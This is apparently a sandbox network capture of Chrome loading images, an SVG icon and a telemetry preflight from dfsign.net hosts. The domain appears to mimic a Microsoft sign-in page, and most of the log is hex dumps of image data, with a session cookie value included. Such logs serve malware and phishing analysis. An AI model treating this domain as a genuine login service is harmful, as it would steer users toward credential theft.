2025-01-07 13:48:58 UTC	2298	IN	Data Raw: 38 66 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 15 08 06 00 00 00 27 cd ec ea 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 04 f6 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 61 36 61 36 33 39 36 38 61 2c 20 32 30 32 34 2f 30 33 2f 30 36 2d 31 31 3a 35 32 3a 30 35 20 20 20 20 20 20 20 20 22 3e Data Ascii: 8f3PNGIHDR 'pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 ">
2025-01-07 13:48:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49771	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:58 UTC	815	OUT	GET /c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/illustration?ts=638616517367191629 HTTP/1.1 Host: 9b4922d2-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:59 UTC	758	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:58 GMT Content-Type: image/* Transfer-Encoding: chunked Connection: close cache-control: public, max-age=86400 last-modified: Wed, 11 Sep 2024 11:42:16 GMT etag: 0x8DCD256C96948D8 x-ms-request-id: d0c98879-c01e-0007-2b0a-6137cf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134858Z-1777998d8f999ssbhC1DUSarss00000013sg000000003xn7 x-fd-int-roxy-purgeid: 50755578 x-cache: TCP_MISS accept-ranges: bytes
2025-01-07 13:48:59 UTC	16384	IN	Data Raw: 37 38 38 33 0d 0a ff d8 ff e1 06 ee 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 1f 40 00 00 01 01 00 03 00 00 00 01 11 94 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 22 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d6 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 01 24 00 08 00 08 00 08 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 32 34 3a 30 39 3a 31 31 20 31 30 3a 33 35 3a 33 39 00 00 00 00 Data Ascii: 7883ExifMM*@(1"2i$-'-'Adobe Photoshop 25.11 (Macintosh)2024:09:11 10:35:39
2025-01-07 13:48:59 UTC	14475	IN	Data Raw: e7 58 66 9a 68 0e b9 94 16 db 42 c5 93 3a be 46 6e 99 1a cf 4d dc ea 4e 9a dd 73 1d 1a d6 6e a5 e8 62 cc ca 06 ca 00 06 d8 a8 00 00 00 00 05 82 a2 85 b0 05 20 a2 41 51 02 84 00 00 00 00 08 a2 28 2c 04 50 00 00 00 00 00 00 00 00 08 50 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 00 00 00 25 99 d6 04 32 40 d4 c4 6a e6 ea 13 38 f6 b8 da c9 70 9a 58 49 68 92 e1 ac 21 73 ac f3 b9 81 a9 27 3b bf 73 ca 7f a3 f5 fa 6b 3b 1f 84 6e 7f 76 1a 3e 0c fc f8 9f af 54 7e 14 b9 fd cd 37 d4 f5 29 f8 f6 cf da f3 43 f0 85 7e 2f b3 a9 b3 0c e6 cc dd 2d 48 ca 2c 51 e8 3a f1 f5 f0 b2 e9 66 a4 92 cb 43 a4 d5 8c b3 a6 e8 35 1d 24 03 5a a0 5c c1 35 7b e6 74 21 ac ef 56 6f 33 7a d6 ae 49 b5 d4 ba ce ba 12 e3 13 60 68 d0 00 15 9d a1 00 11 54 58 2a 28 0b 52 51 20 a1 11 42 00 00 Data Ascii: XfhB:FnMNsnb AQ(,PP %2@j8pXIh!s';sk;nv>T~7)C~/-H,Q:fC5$Z\5{t!Vo3zI`hTX*(RQ B
2025-01-07 13:48:59 UTC	16384	IN	Data Raw: 38 37 37 64 0d 0a 52 63 de f3 eb c2 e7 37 09 a5 84 cd d5 93 0d 81 0c 03 3a c7 c5 76 e7 eb a2 ae a6 35 2a dd 69 b9 69 a3 64 01 3a 1e e7 1b fa 0e 5b f6 19 d1 40 00 00 00 00 00 00 00 0e b1 f3 dd 79 f8 c9 6c b7 5d 25 de 70 ab a5 37 2e f3 b1 a3 40 1a 67 b1 f3 7b cf ab d6 41 6e a5 97 51 57 54 97 ae 65 2d b6 80 00 00 00 00 00 00 00 00 00 00 00 00 10 40 24 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 08 4a 81 61 28 00 00 00 00 00 00 00 00 11 21 cf 59 99 04 ab 30 bc 5a ac 2b 9c cf dd f1 ef d6 e3 37 49 79 5b 23 1a c2 dc 26 62 5d e5 cf cf c6 bb c9 8a 4a b9 8a b6 46 5a 03 98 25 99 d6 3e 2b b6 3d 7c 6a 5b 33 a9 3a 6b 62 d9 a9 46 c1 e6 4b ef b9 eb dd e3 5d b3 60 34 b5 40 00 00 00 00 00 00 00 0e 69 f3 bd 39 ea cb 5b 74 de 31 52 ec 3a 1b c7 41 4d 80 Data Ascii: 877dRc7:v5*iid:[@yl]%p7.@g{AnQWTe-@$Ja(!Y0Z+7Iy[#&b]JFZ%>+=\|j[3:kbFK]`4@i9[t1R:AM
2025-01-07 13:48:59 UTC	16384	IN	Data Raw: d9 92 25 89 b6 6a 62 67 89 e2 4d 53 ab 46 e1 3a b5 02 62 aa a3 1d 10 e8 84 a4 6a 08 91 a8 12 91 a8 34 9a 48 12 92 2a 94 91 14 43 52 40 88 91 a8 a2 f1 12 a4 11 b0 92 49 a4 f6 18 20 d2 69 20 82 3f 55 31 78 d9 02 71 44 49 34 c0 76 aa 21 d5 d1 51 0c 55 cc 6e 04 e6 8d c0 9c 8b 7b 7e 28 c4 74 fd 93 93 21 3a 44 93 16 35 02 75 68 56 31 0c 54 6c 54 46 46 06 46 06 54 d4 3c 8c 37 3a 62 a4 6e 0d 46 48 c5 12 2c a4 c9 18 99 2a 62 86 2a 49 a8 4e 49 27 60 f6 10 41 06 93 49 04 7e ae 92 4d 46 a3 51 aa d4 65 57 54 e1 e4 a8 aa 86 63 66 55 43 19 8e e4 e8 fc 4c b7 63 be 89 40 b7 e4 63 bb 11 d3 f6 c4 c9 51 38 13 1a 93 75 8d 09 d5 51 51 d5 0e d7 e2 b1 dd bd 60 3a 69 32 50 61 b9 d3 01 ef 26 56 3b 8f df 2d d8 d1 af 17 e0 b2 dc a9 14 c4 62 d8 34 41 a4 d2 41 04 7e ae 92 4d 46 a3 51 Data Ascii: %jbgMSF:bj4HCR@I i ?U1xqDI4v!QUn{~(t!:D5uhV1TlTFFFT<7:bnFH,b*INI'`AI~MFQeWTcfUCLc@cQ8uQQ`:i2Pa&V;-b4AA~MFQ
2025-01-07 13:48:59 UTC	1925	IN	Data Raw: 7b f9 71 28 56 23 15 e1 4c 94 3b 19 8a 97 44 ad 56 af 03 97 ca 32 e2 e1 f4 f3 54 56 21 18 d1 38 7c de 3e 1a 89 13 9b 97 64 92 49 24 92 7b c6 49 46 a3 51 a8 96 4f 7c 65 57 6f 4e e2 6a 51 15 74 7b e8 d4 8e f6 74 ae 26 bc 2c 6a 2c 68 6a ad 49 b8 4e 28 d4 8d 45 30 ca 1b c6 ab 7f 5f fe 63 15 35 55 4a 6c cd 78 51 57 15 0a 8b c2 c5 6e 2a 89 c1 cd 63 ab 15 4c 58 ab 8b 10 bc 2a b1 fa bc 3a 2b 95 56 c2 49 24 92 49 64 f7 84 92 8d 48 d4 6a 35 12 fb f9 d5 d8 ec e0 f1 3e 8f 13 8b 8c 3a 31 19 59 92 ab ae 5b ce 5b 8d f4 38 bc 6c 74 e5 63 56 34 40 d5 1a 91 a8 13 81 39 a3 51 4c 32 91 a9 1a 81 6f eb ff 00 cc 25 0a c4 62 aa 91 bc 6a 2a c4 a5 d1 2b 55 ab c2 bc 34 b8 98 6e a2 f0 15 50 a8 b7 1c 3c b4 e5 cd 70 fe 9f 12 8a e5 44 c9 24 92 49 ef 19 44 a3 51 a8 d4 4b 27 f4 33 dd 57 Data Ascii: {q(V#L;DV2TV!8\|>dI${IFQO\|eWoNjQt{t&,j,hjIN(E0_c5UJlxQWncLX:+VI$IdHj5>:1Y[[8ltcV4@9QL2o%bj*+U4nP<pD$IDQK'3W
2025-01-07 13:48:59 UTC	16384	IN	Data Raw: 33 66 66 61 0d 0a 59 3f a5 e4 92 49 26 c6 aa d5 ac e9 1c 7f a3 cc 71 f0 fa 79 8e c7 46 65 63 32 af 4b e3 7d 3e 36 78 e9 cb 6f d7 ff 00 99 55 55 54 56 e2 aa 86 e5 e3 55 6a 55 54 4a cc 47 5e 63 0f ee 39 65 e3 66 34 4e 89 8c 47 2d 92 4f 8f c2 fa 1c 41 5a ac c5 f6 69 25 1a 8d 46 a2 59 3f a5 e4 94 49 24 93 b5 dd 4c 95 15 24 79 a3 5b 46 7c 45 cd 70 11 95 99 57 25 63 b2 5e 2d e6 b8 fc 3d bf 5e fe 66 8a cc 55 12 8b 52 8a f1 32 d3 8a d8 6f aa aa 55 5e 34 5e 35 e5 73 8c f8 fc 2f a1 c4 31 a2 de 2a 21 6e 42 7a 5f 56 e1 27 55 62 ec 32 4a 35 23 51 a8 d4 4b fd 2f 24 92 49 24 b2 7b 1b 70 6a 1b 91 b6 9c c8 e8 e9 92 8a 74 3e 37 d4 c1 28 32 b3 2a b1 f8 5a e8 ce 93 c5 fa 9c 3d bf 5f f0 eb 14 56 a5 6e 2a a9 1c 4c b5 3c 55 55 b8 aa aa 25 36 62 87 62 6f 17 d4 b8 6b 34 2b 50 99 Data Ascii: 3ffaY?I&qyFec2K}>6xoUUTVUjUTJG^c9ef4NG-OAZi%FY?I$L$y[F\|EpW%c^-=^fUR2oU^4^5s/1!nBz_V'Ub2J5#QK/$I${pjt>7(2Z=_Vn*L<UU%6bbok4+P
2025-01-07 13:48:59 UTC	13344	IN	Data Raw: 0d 0a 33 34 31 36 0d 0a a9 98 89 d6 81 33 a8 28 0a 5e aa a1 c4 21 da ca 30 d4 7d e7 93 6f f7 f2 fb 2c 06 f1 0f 87 ec d4 a2 35 a3 02 07 df a4 87 3b fb 4c 92 ba 54 a4 3b e7 2b 54 c3 fe 33 22 3c 3e 62 d2 14 1f c4 43 da d2 f8 9b 3f 0f 56 6f c4 13 6a 87 01 6a 02 89 29 22 a8 69 71 e2 54 5e 95 59 b5 5b c6 2a 49 78 36 62 88 23 e9 a5 bc 5f fa 0d 9d f6 b1 da ca f0 c7 86 ec 8b 3e d1 97 b4 2c f8 93 91 22 4d c6 8a 85 a5 68 8d d1 84 a4 20 10 43 a9 a5 89 1e 19 b1 5e 3f de 66 7e ab 4b f8 d3 c4 52 12 b6 74 d4 bc 92 24 44 29 45 ad 68 52 11 11 71 02 89 5b 8e b3 d6 43 85 0e 03 81 84 ac d5 51 cc 5b 3e 23 66 7e 9d 69 f6 b8 8d e3 1e 23 20 83 ff 00 1b 15 ac 2f d3 bc 35 f6 85 ac 3f f3 04 bf d8 46 6b 7b e8 59 fd ae 0b 78 4f f4 89 ae c9 19 be 12 f7 f9 ed 12 8d 27 df f2 3f c8 8c de Data Ascii: 34163(^!0}o,5;LT;+T3"<>bC?Vojj)"iqT^Y[*Ix6b#_>,"Mh C^?f~KRt$D)EhRq[CQ[>#f~i# /5?Fk{YxO'?
2025-01-07 13:48:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49773	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:58 UTC	813	OUT	GET /c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/bannerlogo?ts=638616517362984701 HTTP/1.1 Host: 9b4922d2-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:58 UTC	758	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:58 GMT Content-Type: image/* Transfer-Encoding: chunked Connection: close cache-control: public, max-age=86400 last-modified: Wed, 11 Sep 2024 11:42:16 GMT etag: 0x8DCD256C926F259 x-ms-request-id: 11bb285a-401e-0044-520a-61d193000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134858Z-15464c697c5vg97hhC1FRA7ccg0000000r2000000000d9sw x-fd-int-roxy-purgeid: 50755578 x-cache: TCP_MISS accept-ranges: bytes
2025-01-07 13:48:58 UTC	4366	IN	Data Raw: 31 31 30 36 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f5 00 00 00 24 08 06 00 00 00 51 d3 7c ef 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 04 f6 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 61 36 61 36 33 39 36 38 61 2c 20 32 30 32 34 2f 30 33 2f 30 36 2d 31 31 3a 35 32 3a 30 35 20 20 20 20 20 20 20 20 22 Data Ascii: 1106PNGIHDR$Q\|pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "
2025-01-07 13:48:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49772	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:58 UTC	779	OUT	GET /shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:58 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:58 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:45 GMT etag: 0x8DB5C3F47A00633 x-ms-request-id: 3e84fdce-e01e-003d-16e5-5a8ae0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134858Z-15464c697c5cc7wkhC1FRAmrwn0000000qz0000000003esh x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:58 UTC	283	IN	Data Raw: 31 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 Data Ascii: 114Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd
2025-01-07 13:48:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49775	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:58 UTC	669	OUT	OPTIONS /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: 8ae57709-b5027fcd.dfsign.net Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: apikey,cache-control,client-id,client-version,content-type,time-delta-to-apply-millis,upload-time Origin: https://login.dfsign.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:59 UTC	616	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: public, 3600 access-control-allow-credentials: true access-control-allow-headers: AuthMsaDeviceTicket,AuthXToken,Content-Encoding,Content-Type,Cache-Control,Client-Id,SDK-Name,sdk-version,apikey,x-apikey,client-version,upload-time,time-delta-to-apply-millis,client-time-epoch-millis,persistence-mode,reliability-mode,NoResponseBody access-control-max-age: 3600 access-control-allow-origin: https://login.dfsign.net
2025-01-07 13:48:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49776	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:59 UTC	544	OUT	GET /shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:59 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:59 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:45 GMT etag: 0x8DB5C3F47A00633 x-ms-request-id: 3e84fdce-e01e-003d-16e5-5a8ae0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134859Z-15464c697c55ttb5hC1FRAwsz40000000qzg00000000799m x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:59 UTC	283	IN	Data Raw: 31 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 Data Ascii: 114Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd
2025-01-07 13:48:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49777	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:59 UTC	575	OUT	GET /c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/favicon?ts=638615710500539949 HTTP/1.1 Host: 9b4922d2-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:59 UTC	751	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:59 GMT Content-Type: image/* Transfer-Encoding: chunked Connection: close cache-control: public, max-age=86400 last-modified: Tue, 10 Sep 2024 13:17:30 GMT etag: 0x8DCD19AEC846EE8 x-ms-request-id: b4c0fc13-001e-006a-670a-618384000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134859Z-1777998d8f999ssbhC1DUSarss00000013qg00000000a54m x-fd-int-roxy-purgeid: 0 x-cache: TCP_MISS accept-ranges: bytes
2025-01-07 13:48:59 UTC	2298	IN	Data Raw: 38 66 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 15 08 06 00 00 00 27 cd ec ea 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 04 f6 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 61 36 61 36 33 39 36 38 61 2c 20 32 30 32 34 2f 30 33 2f 30 36 2d 31 31 3a 35 32 3a 30 35 20 20 20 20 20 20 20 20 22 3e Data Ascii: 